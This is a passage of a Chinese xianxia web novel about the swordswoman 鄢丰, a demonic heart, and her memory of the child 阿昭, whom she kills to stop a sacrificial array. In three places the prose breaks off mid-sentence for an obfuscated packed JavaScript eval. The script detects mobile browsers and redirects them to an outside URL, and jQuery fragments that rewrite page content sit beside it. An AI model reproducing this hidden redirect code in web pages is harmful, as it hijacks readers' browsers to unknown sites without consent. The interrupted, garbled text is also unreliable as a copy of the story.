起初这里的气味腐臭难耐,随着鄢丰一剑一剑挥出斩尽,此刻味道已经散去了一半。 十日前,鄢丰曾经踏足过这片虚空,也正是用这把甘镬剑,一剑破开了虚空,再一次找到了失落之地之所在。 “姑娘年纪轻轻,便有一剑劈开虚空之能。如此本领我倒也很赏识,若是其他的,便算作一件礼物送给你也无妨。唯独这颗心脏,我却不能给。” “这是为何?” “因为这颗心脏,我留着,是等着哪一天,寻个良辰吉日,毁掉它。而且——” 鄢丰对失落之地这两人本身便没有好感,闻言直接拔出剑来,直指那位传奇剑仙! 李微雨一副下了一大跳的样子,却也没有拿武器接战的意思,她出一招,他躲一招,便躲便道:“而且,今天,便是那个良辰吉日。” 鄢丰闻言心下更是一凛,剑招愈发快起来,李微雨却还在继续: “姑娘便是毁掉它的,最好的人选。” 剑尖停在对方喉前三寸,李微雨也不动,只道:“姑娘可愿帮我这个忙?” 鄢丰不动:“前辈说笑。” “不是说笑,”李微雨收敛了笑意,盯着鄢丰,“鄢小友,你年少有为,乃是正道的未来。但你如今想救的人,和他所生的这颗心脏,可都是为世人所不容的存在。” “世人偏见加身,非鄢丰之道。” “这可不是偏见,鄢小友。那不是普通的魔族心脏,”李微雨严肃道,“那是一颗恶魔之心,你可明白?” 他看到鄢丰犹疑的目光,笑了笑,解释道:“所谓恶魔之心,它只消存在于世间一日,便会滋生无数至邪之念。那心念也不一般——它可化作实体,飘荡在人世之间,长久不散,乃至于化作瘴气扰人心智,或是直接钻入他人心念之中……” 鄢丰听罢收起剑:“可有办法?” “别无其它,”李微雨道,“唯有斩断其源源滋生之邪念,彻底毁掉它。” 鄢丰看着他:“毁掉魔的心脏,他也会死。” “他不是有了一颗心了吗?” “关于这件事,您应该比鄢丰,更清楚。” 李微雨笑了一声:“不错,那颗心维持不了太久。但那又如何呢,鄢小友?你若从我虚空之地取走这颗心,便是亲手将祸患,带回人间。若是那颗心脏归位……”李微雨往前走了几步 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“邪念与怨恨,皆生自缘中。世间种种,皆是作业因,结业果。他这颗心如今邪念滋生,也是因为过去的缘不断,过去的业不断,乃至于今日,他也依然放不下怨念和仇恨。” “……名为斩念,实为斩缘。” “不错,”李微雨赞许的笑了一声,声音渐行渐远,“鄢小友,那些缘线,就没有哪一条,即使出于私心,你也想要斩断的吗?……机会仅此一次,鄢小友,好自为之。” 鄢丰回过神,努力驱散心中的恨意,握紧长剑,长出一口气,继续一步一步,走向这条,不知尽头的“夜路”。 …… “你生来就背负原罪!” “哈哈哈哈哈哈哈!那是你自己!跪在我脚下求来的!” 一路走,一路斩。 鄢丰数不清这是第几剑。 走的越远,那腐臭的味道便渐渐减轻许多,但又反反复复,总以为走到了尽头,却很快又不知从哪里滋生出更多来。 鄢丰揉了揉酸胀的左手,听着耳边狰狞而痛苦的,无数声音交错在一起,听上去十分喧闹。 她麻木的挥出又一剑,眼前倏尔亮了起来。早已适应了黑暗的眼睛一瞬间被刺的睁不开,半晌她才缓缓睁开眼睛,看清楚眼前的一切—— 出现在这一片刺目的白光中的只有一样东西。 因果线。 也是一条红线。 它沐浴在白色的光芒中,显现出它本身的鲜艳色彩。 红线若隐若现微微摇晃,周围分明没有风。 那是因为—— 鄢丰垂眸,神情晦暗不明的看着那条线,一段摇晃着延伸到不知是何处的远方,另一端,却正稳稳缠绕在她自己的小指上。 鄢丰看着那一条若隐若现的红线,睁大了眼睛。 ——在被赋予救世的重任以前,鄢丰也曾动过一次凡心。 32. 问心(上) 鄢丰被赋予救世的重任之前,也曾动过一次凡心。 三百年前,那是鄢丰第一次独自一人,下山历练。 少年人总是朝气昂扬的,下山时,只有一人一剑,连行李盘缠都忘了拿,就兴冲冲下了山。 鄢丰就这样一路走走停停,路见不平便拔剑,道见美景便折花,行至儒家,她撞见了儒家百年一场的论剑盛会。 这样的热闹,鄢丰必然是要去凑一凑的。 论剑不需报名,不分先后,擂台上正是一名剑修出尽风头,他前一场刚将声名鹊起的一位前辈击败,又接连胜了有十几场也不见颓势,台下人声鼎沸,一时之间却也再没有一个人敢上去挑战。 台上主持人见状微微一笑:“还有哪位想要同这位孟少侠切磋一番?……若是无人,今日论剑会的魁首——” “我来。” 主持人话音未落,却被一声轻笑打断。那声音却不像来自台下攒动的人群,倒像是远在天边—— 人们不约而同顺着这声笑抬起头。 原来,在人群中间,始终横亘着一棵高可齐天,一眼都望不见其顶的参天巨树。站在树上,视野必然是最好不过的,也不拥堵。然而这树实在长得太高、太直,即便是绝顶的轻功高手,也无处借力,难以攀登。 “树上有人!” 随着这一声惊呼,一道白色的身影飞快地在众人面前闪过,下一刻,擂台上,擂主孟少侠的对面已经站定了一名身着白色道袍的少女。 在众人惊疑不定的目光中,那少女已经挽上袖口,眼底迸射出与她那张素净的面孔不大符合的兴奋之意,利落地抱拳颔首:“昆山,鄢丰,还请少侠不吝赐教。” 话音刚落,她也不客气,不等对方反应便拔剑出鞘,伴随着一个漂亮的剑花,雪亮的剑光已经直指对面剑修咽喉! 守擂的孟少侠见状也不慌乱,沉稳地接下她这锋芒毕露的一剑。 台上两人你来我往,速度越来越快,看得人应接不暇,直到夜幕降临,两人却也丝毫未见疲态,胜负难分。 他们在台上斗到宵禁时分,也分不出胜负来,只被主办方强行打断了,相约明日再战。 鄢丰意犹未尽地同对手告别,正要下台,返回客栈,却又脚步一顿,似有所感地朝台下观众席看了一眼。 论剑会虽然很受欢迎,可他们这一场实在打得太过激烈,人们大都在夜幕时分便都散去了,到了宵禁时分,更是冷清。 可是此刻台下却仍然站着一个小小的身影,那孩子身量不高,眼睛浓黑如墨,此刻正一瞬不瞬地盯着台上的鄢丰。 不期然同鄢丰对视,小孩儿吓了一跳,似乎这才惊醒过来,转过身头也不回地跑了。 鄢丰莫名其妙地偏过头,回客栈去了。 接连十日,鄢丰发现,那日遇见的奇怪的小孩儿一直在跟着她。 不仅她打擂台时他守在台下看着,她回客栈、逛大街,身后都始终跟着一个小尾巴。 鄢丰也不搭理,只佯作不知,在街上一路走走停停,一时买一捆杏花糕,一时买一只小泥人,揣进袖子里;她走得快极了,衣袂生风间,凡人的小玩意儿便不经意地掉了一地。 身后亦步亦趋的气息很重,是累极了,却始终固执地跟着,好像生怕跟丢了。 身后的小孩儿捡了满怀的好吃的好玩的,似乎更加起劲儿,鄢丰能够感觉到那道气息越来越近,但又始终不敢越过最终的界限。 但她很耐心,每一天都买一些小东西,又随手扔在地上,等着后面的小孩来捡。 直到第十三天,鄢丰决心,如果对方再不来搭话,她就主动停下来。 可是,这一天,吃的、玩的、好看的东西掉了一地,却始终没有人来捡。 那道气息就这样凭空消失了。 鄢丰把那些东西全都捡回来整理好,想,或许孩子跟累了,自己回家去了。 可半夜躺在客栈床上,她却抑制不住地有些担心——如果他只是回家了,那固然是最好;但是倘若——只是倘若,他遇到什么危险了呢? 昆山弟子,路见不平,自当拔刀相助。 鄢丰一骨碌从床上坐起来,从怀里掏出两张皱巴巴的黄纸,咬破手指,连贯而且利落地画下两张符:一道显影符,一道寻踪符。 寻踪符能够寻人,可必须以带有被寻者气息之物为引。 鄢丰没有任何一样与那个孩子有关的东西。 但她还知道另一种办法。 人世之中,一切缘起皆有因果,她同那孩子相遇数日,即便未曾确切相识,却也足以诞生一条,她和他之间的因果线。 因果冥冥之间,自不可见;却唯有天生灵血,受天道眷顾,以此作符,便能使因果线有片刻显影。 片刻足矣——寻踪符会替她指引前路。 念动咒语同时催动两张符,鲜红的血渍于是在耀眼的光芒下慢慢染上金色,寻踪符顷刻间碎作一道金光,飞快冲出客栈。 . 黑暗中,鄢丰闯过十八炼狱魔阵,在铺天盖地的魔气里辟出一条路来。 路的尽头,衣衫褴褛的小孩儿,紧闭双目,倒在地上,身下是触目惊心的一片血泊。 鄢丰一路走来几乎透支了所有灵力,此刻喘着粗气,仍将剑紧握在手里,一步一步,朝对方走去。 很显然,十八炼狱阵是为了消耗她的体力和灵力,对方有备而来。可到了此处,除了血泊中的孩子,却再也没有任何一点儿别的气息。 这里有诈。 但寻踪符所指的方向就在那里没错,不管前方到底是什么在等着她,也都要先闯一闯再说。 寻踪符功成身退,在空中散成几道碎星的残象,鄢丰小心翼翼地抱起昏迷的孩子,一剑斩落身后凭空闪现的魔影。 与祁连家的傀儡不同,魔影以凡人肉身为容器,灌注魔气,是要炼化灵魂,将凡人的肉身与灵魂全都化为己用。这些被高阶魔修炼化的傀儡,被魔气浸染全身,连肉身也被吞吃殆尽,像一道幻影,又确是实存之物——触之见血。 一路走,一路斩。 或许这些魔影也曾是怀中孩子的同伴,但此时此刻,她除了利落地了结,再也没有第二个办法解救他们。 一片漆黑之中,只有剑光能照亮前路,却永远看不见尽头。 鄢丰的剑很快、很准,可是魔影好像无穷无尽,再快的剑也斩不尽。 很快,他们便被数十只魔影包围起来。 它们——或者说在暗中操控它们的人,在等待一个合适的时机 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而面前,苍白的小孩儿,手中那一片薄而锐利的刃片,正扎在心口,此刻被血染得鲜红,无端刺眼。 此时此刻,她终于真正看清,那个孩子固执地望向她时的目光,原来只是在说—— 杀了她。 . 鄢丰离开了。 她最终还是把那个孩子送回小镇,独自离开了。 即使她尚不明白,为什么一个这么小的孩子,会对一个萍水相逢的她,心存杀机。 但她疲于再想,她只想快点离开这里。 来时恰逢春,离开时,海棠已然盛放。 漫天花雨,如雪般随风飘舞。鄢丰心有所感地抬起头,便见到头顶正伸出一枝饱满盎然的棠花。鄢丰微微笑了笑,想,但行好事,莫问前程。折了这枝花,便算是向那小孩儿讨了债吧。 过往种种,一笔勾销。 风吹过,一角白衣翩然经过,连一枝花也不曾带走。 树下,静静躺着一枝,被人折下、又被赋以祝福的,满盈花朵的海棠枝。 此后种种,只愿他能……一切顺意。 . 然而,离开的路上,他却仍然照旧,固执地跟在她身后。 好似什么也不曾发生一般。 可那一刀只是堪堪避过要害,即便施了疗愈之法,到了三日后的此刻也还在隐隐作痛。 鄢丰知道,假如他再多一点杀人的经验,她压根不可能逃过一劫——他是真的想要杀她的。 因此即便她心中并不怨怪,却也不能不警惕起来,再也无心同他玩闹。她一次次将他送回去,告诫他不准再跟着她,凭他是不可能杀得了她的。 可是那个孩子固执极了,她才将他送回去,他就又跟出来,在她回过头时扒在墙后偷眼看她,以为她发现不了。 鄢丰叹口气,又一次忍不住心软。 打消了用轻功或御剑甩掉他的想法,又一次默许了这种行为,假装没有看到,若无其事地继续往镇子外去。 不过很快她便松了口气——当她彻底离开那座小镇时,身后的气息终于消失了。 鄢丰那时当然不知道,他们很快就会再见。 33. 问心(中) 在儒法两家交界之地,鄢丰撞上一桩极为恶劣的“炼人”案件。 “炼人”,正是将尚未成年的流浪儿集中起来,灌注魔气,炼化成魔影。这桩案件自然让鄢丰想起在小镇中的遭遇,深入追查之下,在关押流浪儿的地牢当中,她听到了两个小头目的对话。 “……阵眼抓回来了吗?” “哈,那小子,竟然妄想逃出岱镇……我们在他身上下的禁制,他呀,就是插翅也难逃!” “就知道昆山出来的不会好对付……先生也不知怎么想的,一个小孩儿,能拿得下昆山掌门的弟子?” “嘘——先生的心思,岂是你我能随意揣度的,不可妄议。小心……”对方声音一顿,而后猛然变得凌厉,“——谁在那里?!” 鄢丰心下一惊,身体却已凭本能避开对方全力掷来的一击,甘镬剑应召出鞘! “哼,你倒是自己送上门来。” 主动攻击的魔修一身黑衣劲装,长鞭舞得竟如长刀一般沉重,仿佛力有万钧,根本不给人丝毫喘息的机会,直取面门! 鄢丰勉力接下这一招,便不由地心下一沉——她绝不是对手。 何况,这人身后,还有一个!两道长鞭前后夹击,使她几乎腹背受敌,鄢丰左右支绌,躲开这招便不得不生生接下另一招,很快便败下阵来。 再次醒来,便是在一个阴暗、潮湿的地牢之中。 鄢丰睁开眼睛,正看到牢外的守卫看向她身后的人时意味深长的目光。她缓缓转过头,于是,两人久违地,再一次,四目相对。 他看上去比两个月前更瘦、更苍白,身上裸露的皮肤多出许多细小而深的伤口,衣服也更脏了,泥尘与血渍全都干涸在上面。 此刻,他像初见时一样,正用乌黑的眼眸死死盯着她,枯瘦的小手紧紧攥着一把锋利的匕首,指甲捏得泛白。 守卫在那一眼之后就离开了,这里只剩下两人沉默相对,鄢丰于是第二次读懂了他看向她时的目光。 他说的原来不是“杀了她”,或者说不只如此。更重要的是—— “活下去”。 鄢丰试探性的动了动身子,毫不意外地发现自己的灵力已经被封锁,强行运功就要爆体而亡;甘镬剑、符纸,所有的东西几乎都被收缴了。而牢里此时只有两个人,也就是说,现在的她,面对一个足够狠的、又有武器傍身的孩子,也未必是对手。 鄢丰闭上眼睛,想,敌人的强悍远超她所能应对,逃出去的希望极其渺茫。 穷途末路。 所以,如果她的死能换他一命的话,似乎也未尝不可。 ……但在此之前,那些无辜的孩子又该怎么办呢? 不错,只要她尚存一息,就不该放弃。 于是她又睁开眼睛,看向身后仍然站在原地的孩子。 他像一座雕像,凝固在那里一样,和片刻之前紧握着匕首时几乎一模一样,连神情都似乎不曾改变过。 “……我还没问过,”鄢丰确认自己和他的距离还算安全,试探着开了口,“你叫什么名字?” 尽管她已经尽力使自己的语气听上去温和而耐心,这句话到底还是打破了浮于表面的平静,孩子条件反射似地一跳,手中的匕首一晃,鄢丰后退半步呈防御的姿态,可是片刻之后对方又停了下来,放下手,一瞬不瞬地看着她,再也不动了。 鄢丰也沉默下来,牢里不知日月晨昏,但每日都有人来查看,又不置一词地离开。显然他们两人之间的“角逐”一日不结束,他们便不理会,这样下去,即使他们互不攻击,也总有一天会饿死、渴死在牢中。 鄢丰再次试着和他交流,这一次她试着拉近了一些距离。 数日未进食、饮水,又无灵力傍身,即便是鄢丰,声音也显得有些喑哑。那个孩子却似乎比她更加适应这样的生活条件,比之数日前几乎没有什么变化。 鄢丰压下心中的疑虑,温声开口: “我叫鄢丰,是昆山的昆玉真人座下弟子——你知道昆山吗?” 鄢丰能够感觉到自己的靠近、语言都能引起对方的反应,她与他对视,也不管他是否回应她的问题,只是继续说: “总之,你知道,我的剑术很好。” 对方闻言偏过头,竟然点了点头,好像要听她继续说下去。 鄢丰眼前一亮:“你也想学吗?……我的师父是当世第一剑修,等我们离开这里——我知道,你只是想活下去。”她弯了弯眼睛,朝他伸出手,“我们一起活下去。然后,我就带你回昆山,学剑术,好不好?” 提起昆山、提起剑术,鄢丰的眼中便多了更多别样的光彩,连声音也比之方才更加清脆,好像先生身上绿绿的方块儿,三五不时发出极轻极轻的清响。 “我们出去以后,就一起回昆山。我师父是当世第一剑修,他来教你,一定没问题!不过,你喜欢我的剑术吗?” 她顿了顿,眼中除了自豪与骄傲,竟然不掺任何一点阴翳色彩,反而愈发雀跃起来: “我的剑术可不只是我师父教的。——当然也还有我师姐们的功劳,但最重要的是,我用的可不是普通的剑术,我的剑是‘兼士’之剑——就是兼相爱的兼士,它会拯救世间所有的人,它会让每一个人都相爱、相亲——总有一天,它会成为当世最强大,也最温柔的剑!” 她眼中倏尔燃起希望的光芒,像火种一般,也一样点燃了她身边的人。 小孩儿定定看着她伸出的手,小心翼翼向前走了一步,可是很快又退回原地,再无下文。 鄢丰习惯了他的退缩,又想起自己倚仗的明明根本不是剑,并不气馁,反而愈发振作起来,见状二话不说,坐下来开始调息。 没关系,保存体力,一定还有别的对策! 守卫又一次来了又走,阿昭看着他们离开,怯怯地向前走了几步,鄢丰直觉敏锐地睁开眼睛,却看到他就在同一时刻站定在了原地,抬眼看着他,好像下定了什么决心似的,张了张嘴,用气声发出几个不成字的音节。 鄢丰耐心等着,良久,几个破碎的字眼被以一种极其特异的语调,磕磕绊绊、一字一顿念了出来: “昭——我、昭……我、叫…………昭………………” 嘶哑的声音像山野中的某种野兽,又掺杂着一些幼童独有的稚嫩。 鄢丰却高兴极了,笑着点点头:“‘昭’?这就是你的名字吗?——那,从今以后,我就叫你阿昭,好不好?” 阿昭静静地听着,漆黑如墨的眼里好像多了一些不一样的神采,半晌,一直握在手中的匕首终于脱了手,掉在地上,发出一声脆响,与此同时,他快步地跑过来,两只手都用力地攀扯上她的袖角,而后重重地点了点头。 鄢丰弯着眼睛露出一个真切的笑,朝他伸出手:“那阿昭,我们合作愉快。” 鄢丰的计划很简单。 或者说,有了阿昭的加入,计划就变得简单起来。 灵力被锁固然棘手,但鄢丰的剑倚靠的不是灵力,而是兼士之心,是独属于墨家的信仰之力。 但这种力量并不能随意调用,限制颇多。 但阿昭的加入,为她提供了一个机会。 尽管只有阿昭一个人,只够鄢丰将墨家之术用出一成,但…… 一抹极深的墨色浮现在鄢丰额心,似乎还闪烁着潋滟的流光。 阿昭看见了,下意识伸出手去碰,可它很快又不见了,他眨眨眼,茫然地看看鄢丰的额心,又抬起手狠狠揉揉眼睛,又看看鄢丰,偏过头露出疑惑的神色。 鄢丰笑起来,眼里的锋芒与她的温柔交融在一起,揉成一股极其独特的神采。 那当然不是幻觉。 这意味着,两人的合作正式达成——这枚“尚同印”的出现代表着对方彻底、真心的信任。 很少有人见过这枚印记。 因为只有拥有最纯粹、热烈的兼士之心的人,才配拥有它。 一成足矣。 第二日守卫来察看时,鄢丰竟然开口说话了。 鄢丰说:“守卫兄,烦请开开牢门,放我们出去。” 守卫先是露出一个看傻子的神情,而后突然意识到什么,然而身体已经不受控制地掏出钥匙,打开了牢门。 ——“尚同”之术,能让修为比自己低的人对说者言听计从。 阿昭对她的信任只够支撑她说服这个守卫一次,好在有惊无险,鄢丰拉起阿昭的手便往外跑。 守卫们这时才反应过来,可是为时已晚,一缕润物无声的力量在兵器出鞘的瞬间被阻挡,而后在顷刻间化为齑粉。 ——“非攻”之术,能让有杀意的敌人瞬间缴械,中品以下的武器直接化作齑粉。 说服阿昭放下武器,也堪堪只够对付这十余个守卫。 接下来,端看是鄢丰的轻功快,还是敌人的刀枪更快了。 鄢丰运起轻功,将阿昭打横抱起,在这座地下监牢中东冲西撞,跟着阿昭的指引飞速前进。 阿昭对这里似乎异常熟悉,鄢丰猜测,还有更多无辜孩童被关押在这里。 她不无期许地问:“阿昭,你知道这里还有哪里关着其他的孩子吗?” 如果人数足够多,用墨家“兼爱”之术……或可一闯。 阿昭却很快地摇了摇头。 鄢丰有些失望:“……你也不知道啊。” 阿昭还是摇头。 “还是说,他们不是被关在这里?”鄢丰见他的反应,蹙起眉猜测道。 阿昭乌黑的眼睛定定看着她,片刻后他点点头,一边伸出手拽住她的衣袖:“……快…………快、走……” 鄢丰见状加快了速度,既然其他人不在这里,他们就没有再留下的理由。 让她始料不及的是,阿昭给她指的路,不是离开的路。 他把她带到一间阴暗、狭窄的暗室中。 一名紫衣男人正摇着把折扇,听到风声又将它“刷”地合上,手指无意识在腰间玉佩点了点。 他闲庭信步地走在地牢里,含笑低下头:“辛苦了。” 他的身下,正踩着一道,散着诡异光芒的法阵。 阿昭骗了她。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15557284|171331||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>这是一个“永夜”阵。 与永夜花一样,永夜阵,便是用最纯粹的魔气浇灌而成的邪阵。 这个阵法唯一的作用是,将魔气,源源不断地灌注到凡人孩子的肉身之内,将他们炼成魔影。 永夜阵能够献祭的人数取决于它的魔气多少,而这扑面而来的魔气昭示着…… 这个地牢里——或许就在他们脚下,正关押着数百名和阿昭一样的,无辜孩童。 可是尚同印明明…… 鄢丰不可置信地看向阿昭,对方却无动于衷地朝屋内角落走去。 男子有些意外:“哦?已经决定好了?不杀她吗?……你不想活下去了吗?” 阿昭不语,就在角落里站定,从一片阴影里,再次看向鄢丰。 鄢丰觉得,自己从未读懂过他的目光。她此刻满身血液都凉透了,像一盆冷水倒灌在头上。 “好吧,我明白了。”男子打了个响指,“不过,我可没答应放过她。” 他还是笑嘻嘻的,可是脚下的阵法光芒大盛,魔气汹涌而来,几乎化作一条黑色的魔龙,张开血盆大口要将屋中所有人吞噬殆尽。 男子却无动于衷,只是摇着扇子往外走:“好好享受你们最后的——温、情,吧。” 阵法启动,再无挽回余地。 以功德加身的天生灵体献祭邪阵,会炼成怎样的魔影呢? 男子心情愉悦过了头,以至于他竟然没有注意到,那个连名字都没有的孩子,忽然展露獠牙,朝他扑了过来! 他根本不要命,疏于修剪的指甲狠狠划破男子精心保养的皮肤,丝绸衣裳也被他撕烂了不少,将他腰间玉佩生扯了下来,狠狠地摔碎在地上! “疯子!”男子一把甩开他,可是玉佩已碎,鄢丰身上的灵力封印消失,甘镬剑瞬息间应召而来,稳稳握在了她的手中。 鄢丰顾不上其他,长剑直指男子要害! 男子战力不强,暗骂一声,左躲右闪间喘息着出言干扰:“我们的正道大人啊,你不想救救那些无辜的孩子吗?” 鄢丰无动于衷,男子继续说:“阵法已启,无可回转。你杀了我,可救不了他们。但如果你找到阵眼……” 鄢丰剑锋不受干扰,眼神却顿了顿,似有所感地看向了躲在一旁的阿昭。 男子注意到,哈哈大笑起来:“哈哈哈哈哈,看来,我们的正道大人真是聪明极了啊。” 鄢丰无端感到愤怒,灵力更为磅礴,剑招更加狠厉,招招见血、招招致命。 可对方的援兵也很快到了,熟悉的两道长鞭左右夹击,形势顷刻逆转! 鄢丰很快挂了彩,男子却抬起手阻止来的两人的进攻,扬声道:“大人,阵法很快就成了。你杀不了我的。可……” 他故意顿了顿,一字一句:“救人的机会,你还有。” “大人不妨,好好考虑考虑。杀了他,你也能救人;不杀他,连你自己的命,也保不住咯~” 说罢,他便命人将两人关在了这间魔气冲天的暗室里,扬长而去。 这一次,角色倒转,剑握在鄢丰手中。 “选择”也交给了鄢丰。 ——如果不杀了她,你就会失去机会。 如果不杀了她,她就会杀了你。 他们当然无数次告诫过他,而此刻便是惩罚到来的时刻。 只是片刻之间,鄢丰已经做好了决定——实际上,她其实根本不曾犹豫。 ——长剑已经不偏不倚,正中心脏。 鄢丰的剑,绝不会偏。 鲜血争先恐后地渗出,将破布衣服染得更加驳杂不堪,此刻,鄢丰灵台清明,清亮而锐气的眼睛毫不闪躲地对上对方的眼睛。 再一次四目相对,阿昭的眼中并没有名为怨愤的怒火,或是恐惧的战栗。 他只是深深地看着她,一如初见。 鄢丰感到了片刻的刺痛,源于心底深处,可是无数孩童的哭声交织在脑中,形势刻不容缓。 她几乎冷眼地看着阿昭小小的身体像破旧的布偶一样坠落,狼狈地跌在泥中,却还是挣扎着想要爬起来。 他的眼睛没有一刻离开过她。 鄢丰想,这样固执地想要活下去的孩子——她真希望他能够活下去。 可鄢丰终究只能叹息一声,也只能对他说:“对不起,阿昭。” 阿昭好像没听到她的话,四肢并用,只一个劲儿地朝她来。 直到他脸上身上全沾满了泥土,他借着她的剑光,眼中终于亮起一点儿光来。 他朝她伸出手,一朵被手捏得不成样儿的白花,脏兮兮地静静躺在他的手心。 他始终固执地看着她。 直到鄢丰捻起这朵花,那只手才缓缓垂下,再也没了生息。 角落里,一枝凋零的海棠,被一只修长的手捡起,小心地收在袖中。 他跟了她一路,怀里始终揣着那枝她随手折了,又随手丢了的棠花。 ……早就想要还给她。 那枝干净、纯粹的祝福,辗转肮脏与谎言之间,终于还给了她。 34. 问心(下) 大雨倾盆而下,衡枢站在屋檐下,静静听着雨淅沥而落。 片刻后,他微微笑了: “该想起来了罢……鄢道友。” 都道鄢丰年少成名的“非命”,是一道杀招。 就是她用这千百年来从无人能用出的招数,以一己之力将实力足足高出她三阶的数名魔修尽数以“审判”斩于剑下。 但只有衡枢知道,“非命”最强的地方,不是杀人,而是改命。 那日鄢丰以一道“非命”将牢固的地牢打成废墟,修界中人,修为高者,无不感到强大的能量波动,纷纷跑去察看。 衡枢作为阴阳家最出色的继承人,早通过阴阳眼窥见此处残局,却连他也没想到,“非命”不仅杀了所有涉案者,还顺应鄢丰之愿,将本该魂飞魄散之人,强留在了人世。 他赶到时,鄢丰几乎奄奄一息,却仍然强撑着看向他:“……衡枢,帮我一个忙。” 衡枢静静看着她,说:“鄢丰,逆天改命的事,是天道所不允的。” 鄢丰说:“那便是天道不公。” 衡枢笑了:“非也。不是天道不公,鄢丰,你没注意到吗?他的心,是黑的。” 人魔分殊,最大的区别就在于心脏。 心脏乃是控制理智与善念之官,而魔,便是心脏被魔气污染之人。不论他是堕魔者还是本就是魔族,心脏彻底变黑便意味着他彻底被魔气污染,再也没有变回人的可能性,只有一步一步走向被欲望操控、被本能操控的自毁的深渊。 这便是睚眦被贬人间,为他的后代带去的诅咒、为这人间带去的诅咒。 “受诅咒的魔物,合该被天道剿灭。”衡枢下了结论。 鄢丰冷笑:“那天道为何不剿灭那几个炼人的魔修,却只抓着一个无辜孩子不放?” “你今日将他送入轮回,可有想过来日他托生成魔,为祸世间……” 鄢丰打断他:“所以业果恶报,鄢丰——一人承担。” 衡枢还想说什么,可看到她眼底偏执神色,若隐若现的魔气已经攀上她的心脏,终于长叹口气,不再辩驳。 于是,衡枢以三年再不能预知未来的代价,为她打开了一条,本不该显形于人世的,通往幽冥之路。 “鄢丰,眼下非命之术尚未完全完成,你还有命可活。可一旦你将他投入轮回,非命术成,你,必死无疑。” 衡枢看着她的背影,补充道。 鄢丰只是沉默地提剑前行,好像什么也没有听到。 . 鄢丰从这条因果线的回忆中醒来,忍不住笑起来。 原来如此、原来如此…… 血泪从她眼中流出,鄢丰如癫如狂地笑着,抬剑毫不犹豫将这条柔而韧的红线斩断! 好像斩断这条线,就能将错位的过往一一归位,就能让时光倒流,就能让她放弃那个让她后悔的决定。 可惜,因果线只能昭示“缘分”,却不能逆转因缘;斩断因果线,只能斩断往后的缘分,却不能消弭过往的恩怨。 鄢丰却像疯了一般,雪白的剑此刻几乎完全成了黑色,浓厚的魔气笼罩在上面,随着剑风落在每一截被斩断的红线之上。 从三百年前论剑会上的惊鸿一瞥、地牢中一枝花的馈赠,到魔域中无数次向他伸出的手,过往种种,尽数斩断,譬如昨日死。 三百年前,鄢丰曾经折断一枝棠花,一笔勾销仇怨的过往,赠他以至纯至善之祝福。 三百年后,鄢丰要斩断与他有关的每条因果,杀死所有过往的温情与宽容。 此后种种,怨恨难消,唯有,不死不休。 无尽的前路随着这些因果线被斩断渐渐消散,黑暗乍破,耀眼的白光晃人眼睛,那些黑暗却渐渐汇聚在一起,最终形成一股极其浓郁的魔气,将鄢丰整个人都笼罩起来,而后渐渐消散—— 它们并未消失,而是就这样逐渐渗透入她的经脉,扩散至心脏。 剔透无暇的心脏被越来越多的魔气覆盖、渗透,慢慢变黑,直到再透不出一点儿明亮剔透的色彩。 鄢丰看着这些魔气钻入心脏,面上仍是一派平静。 她知道,这就是毁掉那颗至阴至邪之心的代价。 此时此刻,也只有这样钻心的阵痛,方能让她体会到一点儿自己尚存于世的感觉。反写的密咒化作鲜红的魔纹爬满身上每一处,为那张素净平淡的脸平添几分艳冶之色。 天生琉璃之心,至此,堕落成为一颗,彻头彻尾的肮脏魔心。 境界瞬息之间崩毁,李微雨和清漱再一次出现在她面前,前者微微点着头,似乎很满意这个结果:“鄢小友,可有找到真相?” 鄢丰却并不答话,只活动着因为接受了魔气而重新被激活的右臂,面无表情道:“前辈救命之恩,鄢丰不胜感激。……大恩不言谢,来日……” “不必,”她话未说尽便被李微雨微笑着打断了,“该是我谢谢鄢小友才是,帮我毁了魔君 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15557285|171331||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的心脏,也便是救了清漱……” 说着,他转过头,露出几分含情之色,目光直直看着身旁那名美艳的女子,顿了顿,他说:“千百年来,你独自一人,替我守着这失落之地……清漱,我欠你一句话。” 女子美眸微微睁大,似乎预料到对方后面的话,又似乎根本不敢相信。 然而比话音更快的,是在她的心口,仍不懈跳动的,那一颗木石之心。 只听一声闷响,木料刺破皮肤,隐藏在纤细皮肤中的机械心应声破碎,一颗滚烫鲜活的心脏,破茧而出! 破碎的木屑像一株破土而出的新芽,从清漱碧色衣袍之中冒出头来。 心口出分明被木屑扎的流血不止,女子却还不住的笑起来,笑到泪水不住流下。 片刻后,那颗木头的心脏渐渐羽化,彻底融入空气之中,不见了踪影,只剩心口的伤,昭示着它确然存在过。 洁白如玉的手,珍重的,抚摸着那真正的,血肉铸成的,砰砰跳动的心脏。 两人对视良久,似乎有千言万语,尽在无言之中。 而鄢丰生平头一回,感到这样的场面是如此的无趣,令人作呕,丝丝缕缕的魔气于是从她周身散溢出来,与此同时心中压制不住地在低声念念着: 